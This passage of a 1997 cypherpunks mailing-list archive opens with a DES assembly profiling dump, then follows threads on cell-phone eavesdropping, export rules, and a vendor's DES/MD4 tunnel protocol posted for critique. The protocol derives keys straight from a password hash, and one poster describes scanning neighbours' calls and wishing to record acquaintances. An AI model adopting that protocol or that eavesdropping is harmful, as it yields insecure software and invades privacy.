      U             * 0x1270                  0.19%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1276                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x127c                  0.08%   mov      bl, dl
                             1
             V        0x127e                  0.05%   mov      cl, dh
      U             * 0x1280                  0.21%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1286                  0.12%   shr      edx, 16
                             1                             PU_Inst
             V        0x1289                  0.14%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x128f                  0.09%   mov      bl, dl
                             1
             V        0x1291                  0.06%   mov      cl, dh
      U             * 0x1293                  0.16%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1299                  0.15%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x129f                  0.10%   xor      edi, eax
                             1
             V        0x12a1                  0.07%   mov      edx, DWORD
PTR [ebp+44]
      U               0x12a4                  0.08%   mov      eax, DWORD
PTR [ebp+40]                   1
             V        0x12a7                  0.05%   xor      edx, edi
      U               0x12a9                  0.04%   xor      eax, edi
                             1
      W               0x12ab                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x12ae                  0.14%   and      eax, -03030304h
      U               0x12b3                  0.05%   and      edx,
-03030304h                           1
             V        0x12b9                  0.06%   mov      bl, al
      U               0x12bb                  0.07%   mov      cl, ah
                             1
             V      * 0x12bd                  0.15%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x12c3                  0.12%   shr      eax, 16
                             1
             V      * 0x12c6                  0.12%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x12cc                  0.11%   mov      bl, al
                             1
             V        0x12ce                  0.04%   mov      cl, ah
      U             * 0x12d0                  0.17%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x12d6                  0.10%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x12dc                  0.08%   mov      bl, dl
                             1
             V        0x12de                  0.05%   mov      cl, dh
      U             * 0x12e0                  0.18%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x12e6                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x12e9                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x12ef                  0.12%   mov      bl, dl
                             1
             V        0x12f1                  0.05%   mov      cl, dh
      U             * 0x12f3                  0.16%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x12f9                  0.13%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x12ff                  0.11%   xor      esi, eax
                             1
             V        0x1301                  0.07%   mov      edx, DWORD
PTR [ebp+52]
      U               0x1304                  0.08%   mov      eax, DWORD
PTR [ebp+48]                   1
             V        0x1307                  0.04%   xor      edx, esi
      U               0x1309                  0.05%   xor      eax, esi
                             1
      W               0x130b                  0.07%   ror      edx, 4
                             1                             PU_Inst
             V        0x130e                  0.14%   and      eax, -03030304h
      U               0x1313                  0.04%   and      edx,
-03030304h                           1
             V        0x1319                  0.06%   mov      bl, al
      U               0x131b                  0.09%   mov      cl, ah
                             1
             V      * 0x131d                  0.16%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1323                  0.13%   shr      eax, 16
                             1
             V      * 0x1326                  0.11%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x132c                  0.12%   mov      bl, al
                             1
             V        0x132e                  0.05%   mov      cl, ah
      U             * 0x1330                  0.19%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1336                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x133c                  0.07%   mov      bl, dl
                             1
             V        0x133e                  0.05%   mov      cl, dh
      U             * 0x1340                  0.18%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1346                  0.11%   shr      edx, 16
                             1                             PU_Inst
             V        0x1349                  0.14%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x134f                  0.08%   mov      bl, dl
                             1
             V        0x1351                  0.06%   mov      cl, dh
      U             * 0x1353                  0.16%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1359                  0.13%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x135f                  0.12%   xor      edi, eax
                             1
             V        0x1361                  0.05%   mov      edx, DWORD
PTR [ebp+60]
      U               0x1364                  0.07%   mov      eax, DWORD
PTR [ebp+56]                   1
             V        0x1367                  0.05%   xor      edx, edi
      U               0x1369                  0.04%   xor      eax, edi
                             1
      W               0x136b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x136e                  0.13%   and      eax, -03030304h
      U               0x1373                  0.04%   and      edx,
-03030304h                           1
             V        0x1379                  0.06%   mov      bl, al
      U               0x137b                  0.06%   mov      cl, ah
                             1
             V      * 0x137d                  0.17%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1383                  0.12%   shr      eax, 16
                             1
             V      * 0x1386                  0.11%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x138c                  0.11%   mov      bl, al
                             1
             V        0x138e                  0.04%   mov      cl, ah
      U             * 0x1390                  0.17%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1396                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x139c                  0.07%   mov      bl, dl
                             1
             V        0x139e                  0.05%   mov      cl, dh
      U             * 0x13a0                  0.16%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x13a6                  0.09%   shr      edx, 16
                             1                             PU_Inst
             V        0x13a9                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x13af                  0.10%   mov      bl, dl
                             1
             V        0x13b1                  0.06%   mov      cl, dh
      U             * 0x13b3                  0.18%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x13b9                  0.14%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x13bf                  0.09%   xor      esi, eax
                             1
             V        0x13c1                  0.05%   mov      edx, DWORD
PTR [ebp+68]
      U               0x13c4                  0.06%   mov      eax, DWORD
PTR [ebp+64]                   1
             V        0x13c7                  0.05%   xor      edx, esi
      U               0x13c9                  0.06%   xor      eax, esi
                             1
      W               0x13cb                  0.07%   ror      edx, 4
                             1                             PU_Inst
             V        0x13ce                  0.11%   and      eax, -03030304h
      U               0x13d3                  0.05%   and      edx,
-03030304h                           1
             V        0x13d9                  0.05%   mov      bl, al
      U               0x13db                  0.07%   mov      cl, ah
                             1
             V      * 0x13dd                  0.15%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x13e3                  0.13%   shr      eax, 16
                             1
             V      * 0x13e6                  0.11%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x13ec                  0.11%   mov      bl, al
                             1
             V        0x13ee                  0.05%   mov      cl, ah
      U             * 0x13f0                  0.18%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x13f6                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x13fc                  0.07%   mov      bl, dl
                             1
             V        0x13fe                  0.05%   mov      cl, dh
      U             * 0x1400                  0.18%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1406                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x1409                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x140f                  0.09%   mov      bl, dl
                             1
             V        0x1411                  0.06%   mov      cl, dh
      U             * 0x1413                  0.17%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1419                  0.14%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x141f                  0.11%   xor      edi, eax
                             1
             V        0x1421                  0.06%   mov      edx, DWORD
PTR [ebp+76]
      U               0x1424                  0.08%   mov      eax, DWORD
PTR [ebp+72]                   1
             V        0x1427                  0.04%   xor      edx, edi
      U               0x1429                  0.05%   xor      eax, edi
                             1
      W               0x142b                  0.04%   ror      edx, 4
                             1                             PU_Inst
             V        0x142e                  0.12%   and      eax, -03030304h
      U               0x1433                  0.06%   and      edx,
-03030304h                           1
             V        0x1439                  0.06%   mov      bl, al
      U               0x143b                  0.07%   mov      cl, ah
                             1
             V      * 0x143d                  0.15%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1443                  0.13%   shr      eax, 16
                             1
             V      * 0x1446                  0.12%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x144c                  0.11%   mov      bl, al
                             1
             V        0x144e                  0.05%   mov      cl, ah
      U             * 0x1450                  0.18%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1456                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x145c                  0.07%   mov      bl, dl
                             1
             V        0x145e                  0.04%   mov      cl, dh
      U             * 0x1460                  0.18%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1466                  0.09%   shr      edx, 16
                             1                             PU_Inst
             V        0x1469                  0.11%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x146f                  0.11%   mov      bl, dl
                             1
             V        0x1471                  0.06%   mov      cl, dh
      U             * 0x1473                  0.17%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1479                  0.15%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x147f                  0.11%   xor      esi, eax
                             1
             V        0x1481                  0.06%   mov      edx, DWORD
PTR [ebp+84]
      U               0x1484                  0.06%   mov      eax, DWORD
PTR [ebp+80]                   1
             V        0x1487                  0.04%   xor      edx, esi
      U               0x1489                  0.05%   xor      eax, esi
                             1
      W               0x148b                  0.07%   ror      edx, 4
                             1                             PU_Inst
             V        0x148e                  0.10%   and      eax, -03030304h
      U               0x1493                  0.05%   and      edx,
-03030304h                           1
             V        0x1499                  0.06%   mov      bl, al
      U               0x149b                  0.09%   mov      cl, ah
                             1
             V      * 0x149d                  0.14%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x14a3                  0.14%   shr      eax, 16
                             1
             V      * 0x14a6                  0.10%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x14ac                  0.12%   mov      bl, al
                             1
             V        0x14ae                  0.06%   mov      cl, ah
      U             * 0x14b0                  0.17%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x14b6                  0.10%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x14bc                  0.08%   mov      bl, dl
                             1
             V        0x14be                  0.07%   mov      cl, dh
      U             * 0x14c0                  0.17%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x14c6                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x14c9                  0.14%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x14cf                  0.10%   mov      bl, dl
                             1
             V        0x14d1                  0.06%   mov      cl, dh
      U             * 0x14d3                  0.16%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x14d9                  0.12%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x14df                  0.09%   xor      edi, eax
                             1
             V        0x14e1                  0.06%   mov      edx, DWORD
PTR [ebp+92]
      U               0x14e4                  0.07%   mov      eax, DWORD
PTR [ebp+88]                   1
             V        0x14e7                  0.06%   xor      edx, edi
      U               0x14e9                  0.04%   xor      eax, edi
                             1
      W               0x14eb                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x14ee                  0.12%   and      eax, -03030304h
      U               0x14f3                  0.05%   and      edx,
-03030304h                           1
             V        0x14f9                  0.06%   mov      bl, al
      U               0x14fb                  0.07%   mov      cl, ah
                             1
             V      * 0x14fd                  0.14%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1503                  0.11%   shr      eax, 16
                             1
             V      * 0x1506                  0.12%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x150c                  0.12%   mov      bl, al
                             1
             V        0x150e                  0.05%   mov      cl, ah
      U             * 0x1510                  0.19%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1516                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x151c                  0.07%   mov      bl, dl
                             1
             V        0x151e                  0.05%   mov      cl, dh
      U             * 0x1520                  0.17%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1526                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x1529                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x152f                  0.10%   mov      bl, dl
                             1
             V        0x1531                  0.05%   mov      cl, dh
      U             * 0x1533                  0.15%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1539                  0.14%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x153f                  0.10%   xor      esi, eax
                             1
             V        0x1541                  0.07%   mov      edx, DWORD
PTR [ebp+100]
      U               0x1544                  0.07%   mov      eax, DWORD
PTR [ebp+96]                   1
             V        0x1547                  0.04%   xor      edx, esi
      U               0x1549                  0.04%   xor      eax, esi
                             1
      W               0x154b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x154e                  0.11%   and      eax, -03030304h
      U               0x1553                  0.04%   and      edx,
-03030304h                           1
             V        0x1559                  0.06%   mov      bl, al
      U               0x155b                  0.08%   mov      cl, ah
                             1
             V      * 0x155d                  0.15%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1563                  0.12%   shr      eax, 16
                             1
             V      * 0x1566                  0.12%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x156c                  0.14%   mov      bl, al
                             1
             V        0x156e                  0.04%   mov      cl, ah
      U             * 0x1570                  0.18%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1576                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x157c                  0.09%   mov      bl, dl
                             1
             V        0x157e                  0.06%   mov      cl, dh
      U             * 0x1580                  0.17%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1586                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x1589                  0.14%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x158f                  0.10%   mov      bl, dl
                             1
             V        0x1591                  0.05%   mov      cl, dh
      U             * 0x1593                  0.17%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1599                  0.13%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x159f                  0.10%   xor      edi, eax
                             1
             V        0x15a1                  0.05%   mov      edx, DWORD
PTR [ebp+108]
      U               0x15a4                  0.06%   mov      eax, DWORD
PTR [ebp+104]                  1
             V        0x15a7                  0.05%   xor      edx, edi
      U               0x15a9                  0.05%   xor      eax, edi
                             1
      W               0x15ab                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x15ae                  0.13%   and      eax, -03030304h
      U               0x15b3                  0.05%   and      edx,
-03030304h                           1
             V        0x15b9                  0.05%   mov      bl, al
      U               0x15bb                  0.06%   mov      cl, ah
                             1
             V      * 0x15bd                  0.14%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x15c3                  0.12%   shr      eax, 16
                             1
             V      * 0x15c6                  0.11%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x15cc                  0.11%   mov      bl, al
                             1
             V        0x15ce                  0.06%   mov      cl, ah
      U             * 0x15d0                  0.18%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x15d6                  0.10%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x15dc                  0.08%   mov      bl, dl
                             1
             V        0x15de                  0.05%   mov      cl, dh
      U             * 0x15e0                  0.19%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x15e6                  0.09%   shr      edx, 16
                             1                             PU_Inst
             V        0x15e9                  0.14%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x15ef                  0.09%   mov      bl, dl
                             1
             V        0x15f1                  0.06%   mov      cl, dh
      U             * 0x15f3                  0.19%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x15f9                  0.14%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x15ff                  0.12%   xor      esi, eax
                             1
             V        0x1601                  0.07%   mov      edx, DWORD
PTR [ebp+116]
      U               0x1604                  0.07%   mov      eax, DWORD
PTR [ebp+112]                  1
             V        0x1607                  0.04%   xor      edx, esi
      U               0x1609                  0.04%   xor      eax, esi
                             1
      W               0x160b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x160e                  0.14%   and      eax, -03030304h
      U               0x1613                  0.04%   and      edx,
-03030304h                           1
             V        0x1619                  0.06%   mov      bl, al
      U               0x161b                  0.07%   mov      cl, ah
                             1
             V      * 0x161d                  0.15%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1623                  0.14%   shr      eax, 16
                             1
             V      * 0x1626                  0.12%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x162c                  0.13%   mov      bl, al
                             1
             V        0x162e                  0.06%   mov      cl, ah
      U             * 0x1630                  0.17%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1636                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x163c                  0.07%   mov      bl, dl
                             1
             V        0x163e                  0.05%   mov      cl, dh
      U             * 0x1640                  0.18%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1646                  0.09%   shr      edx, 16
                             1                             PU_Inst
             V        0x1649                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x164f                  0.09%   mov      bl, dl
                             1
             V        0x1651                  0.06%   mov      cl, dh
      U             * 0x1653                  0.17%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1659                  0.11%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x165f                  0.10%   xor      edi, eax
                             1
             V        0x1661                  0.06%   mov      edx, DWORD
PTR [ebp+124]
      U               0x1664                  0.06%   mov      eax, DWORD
PTR [ebp+120]                  1
             V        0x1667                  0.05%   xor      edx, edi
      U               0x1669                  0.04%   xor      eax, edi
                             1
      W               0x166b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x166e                  0.13%   and      eax, -03030304h
      U               0x1673                  0.04%   and      edx,
-03030304h                           1
             V        0x1679                  0.06%   mov      bl, al
      U               0x167b                  0.07%   mov      cl, ah
                             1
             V      * 0x167d                  0.17%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1683                  0.11%   shr      eax, 16
                             1
             V      * 0x1686                  0.11%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x168c                  0.11%   mov      bl, al
                             1
             V        0x168e                  0.05%   mov      cl, ah
      U             * 0x1690                  0.18%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1696                  0.13%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x169c                  0.07%   mov      bl, dl
                             1
             V        0x169e                  0.05%   mov      cl, dh
      U             * 0x16a0                  0.16%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x16a6                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x16a9                  0.12%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x16af                  0.09%   mov      bl, dl
                             1
             V        0x16b1                  0.07%   mov      cl, dh
      U             * 0x16b3                  0.18%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x16b9                  0.12%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x16bf                  0.09%   xor      esi, eax
                             1
             V        0x16c1                  0.06%   jmp
des_encrypt+c8a (1cc6h)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Mon, 13 Jan 1997 22:48:09 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701140349.VAA01437@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970114004006.3279B-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 13 Jan 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>, on 01/13/97 at 08:12 PM,
>    Clay Olbon II <olbon@ix.netcom.com> said:
> 
> 
> >I just caught the news reports of Newt Gingrich's cell phone calls being
> >taped by "a little old retired couple" with a scanner.  These were then
> >given to a congressman, who gave them to a newspaper.
> 
> >The take on this that we won't hear is: "This is outrageous!  Why don't
> >cell-phones offer encryption to ensure our privacy?"
> 
> >Unfortunately, I think crypto is still so far beneath the public
> >consciousness that the obvious solution to these sorts of problems is
> >ignored in favor of the "there oughta be a law" non-solution.  (Of course,
> >in this case there is a law!) What I really hope this incident spawns is a
> >market ...
> 
> There is a very basic reason that cell phones are not encrypted; the government does not
> want them encrypted. Many an arrest has been made from infromation gathered from
> cell/wireless phone conversations. AFAIK the police do not even need a search warent to do
> this.

I remember hearing somewhere that a cell phone manufactuer had created an
"encryption" algorithm for their phones. It inverted the waveform or
something like that. Now, I ask of you, how hard is that to get break? Not
very. It will keep Beavis and Butthead from listening to cell phone calls,
but that's about all.

Like you said, a lot of arrests have been made by evesdropping on cell
phone calls. I wouldn't put it past the NSA to be running SIGINT on such
calls. If these were encrypted using a method similar to how ssh does
shell connections, the NSA would be screwed.

And, incidentally, I really wish ssh was more standard than it is. I'd
like to be able to hit my ISP and such with it. ;) (Most ISPs don't like
you running nohup'ed processes).

> With the cell phone industry regulated by the FCC I doubt that you will ever
> see cell phone's with built in encryption.

Agreed.

> As far as the general public is concerned the majority are sheep. They are
> quite content to know that it is illegal for their neighbor to listen in and
> ofcource Big Brother would only listen to those nasty drug dealers & mobsters.
> 

Of course. And that stops their neighbor. Yeah.

My father bought himself a scanner for his birthday last year. The first
night he had it I went over, and we sat on the front porch. We heard a
load of cordless phone calls, including one to which a "friend" of mine
was a party, which was quite interesting indeed. We also heard a great
number of cell phone calls.

The majority of the latter were sexual in nature. Christian Coalition,
you're failing miserably. ;)

I wish I had better voice recognition technology, like the NSA surely has.
I'd have the system scan for the voices of people I know and record them;
again, like the NSA does.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 13 Jan 1997 23:52:38 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <32DB4959.8D1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Clay Olbon II wrote:
> 
> I just caught the news reports of Newt Gingrich's cell phone calls being
> taped by "a little old retired couple" with a scanner.  These were then
> given to a congressman, who gave them to a newspaper.
> 
> The take on this that we won't hear is: "This is outrageous!  Why don't
> cell-phones offer encryption to ensure our privacy?"

  Cell-phone encryption is 'essential' for 'important' people.
  However, it is 'dangerous' in the hands of the 'citizens' (translate
that
to mean 'schmucks').
  The government doesn't object to crack-dealers having cryptography
capabilities, they just want to make sure that those crack-dealers
work for the CIA (freelancers need not apply).

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Tue, 14 Jan 1997 00:09:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: UnderNet:
Message-ID: <Pine.LNX.3.95.970114005248.21626F-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain



Ya ya ya, this is probably an inappropriate thing but hey, I haveta ask..

I just heard about the UnderNet hack tonight...  anybody have any
information on that?  If so thanks for the reply..
Later

----

Erp

PS:  I hate Elitests (spec the type that think they are such because they
                      watched Hackers when it first came out)









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 00:15:10 -0800 (PST)
To: Ian Goldberg <iang@cs.berkeley.edu>
Subject: Re: New US regs ban downloadable data-security software
In-Reply-To: <199701140145.RAA07183@cypherpunks.ca>
Message-ID: <32DB5BC2.2882@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ian Goldberg wrote:
> Although, as Lucky pointed out, virus checkers et al. are indeed regulated
> for export from the US, and putting software up for ftp or WWW is considered
> export, the EAR does _not_ apply to "publicly available" software
> (732.2(b)(1)).  Software is publicly available "when it is available for
> general distribution either for free or at a price that does not exceed
> the cost of reproduction and distribution" (734.7(b)).
> 
> Therefore, it would seem that, as long as the security software on your ftp
> or WWW site is free of cost, it is OK to keep it there.  Commercial
> security software, however, remains export-restricted.

  I can't believe that there's no one taking advantage of this to make a
'shareware' version of their software available, and having available, 
for export and sale, an 'enabler' to bring it to full functionality.
  I know that this was done in the past, by several small companies in
southern California, but perhaps on a larger issue, such as this, the
Feds would slam the door quickly on what they would surely regard as
a 'loophole'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amanda@intercon.com (Amanda Walker)
Date: Mon, 13 Jan 1997 23:55:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hi again, and an invitation to kibitz
Message-ID: <199701140755.CAA04514@mail.intercon.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello folks,

A couple of years ago I signed off of cypherpunks in annoyance at what I
thought was a high "fluff" level, and said I'm sign back on when I had
crypto software to talk about.  Well, I do and so I have :).

Last week at MacWorld Expo, we announced a new product designed to provide a
secure AppleTalk tunnel over the Internet; we'll be doing a public beta in
a few weeks, and expect to be shipping relatively soon after that, assuming
that the public beta goes well.

The initial version is moderately secure (that is to say, I believe that
the most effective attacks to be DES key search and a dictionary attack on the
user's pass phrase).  I'm interested in comments on weaknesses aside from the
use of 56-bit DES; I'm profiling DES-EDE and if it's fast enough we'll be
switching to that.

Here's a sketch of the protocol:

(a) Server sends 8-byte challenge to client

(b) Client sends Microsoft NT authentication response to the server
    (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
    bytes, split into 3 7-byte groups, use these as DES keys to encrypt
    the challenge three times, send the 24-byte result as the response).

(c) If authentication fails, close the connection.

(d) If authentication succeeds, all subsequent traffic is enccrypted with
    DES in CFB mode.  Until April :), the DES key used is taken from the
    first 7 bytes of the MD4 hash of the password (after April, we expect
    to switch to Diffie-Hellman key exchange first, followed by a revised
    authentication handshake).

I have not been able to find any obvious weak points, even if MD4 is weak,
since the digest is not put on the wire--recovering the digest would require
recovering a DES key given a single known plaintext/ciphertext pair.

I would be very interested in
any weak points anyone can identify (particularly with step b, since that
would have repercussions beyond this little piece of software).

I would also be interested in the effects on anyone's analysis given the
following modifications:

- Using SHA (160 bit hash) instead of MD4
- Using DES-EDE (112 bit key) instead of DES
- Using Blowfish in CFB mode instead of DES
- Using RC5 in CFB mode instead of DES (not likely unless RC5 is cheap)
- Using RC4 (40 bit key) instead of DES (not likely)


Comments?  Catcalls :) ?


Amanda Walker
Senior Software Engineer
InterCon Systems Corporation





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bill@no.com (Bill)
Date: Mon, 13 Jan 1997 21:09:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: FREE LONG DISTANCE
Message-ID: <199701140513.AAA04864@capella.net>
MIME-Version: 1.0
Content-Type: text/plain


Dear cypherpunks@toad.com,

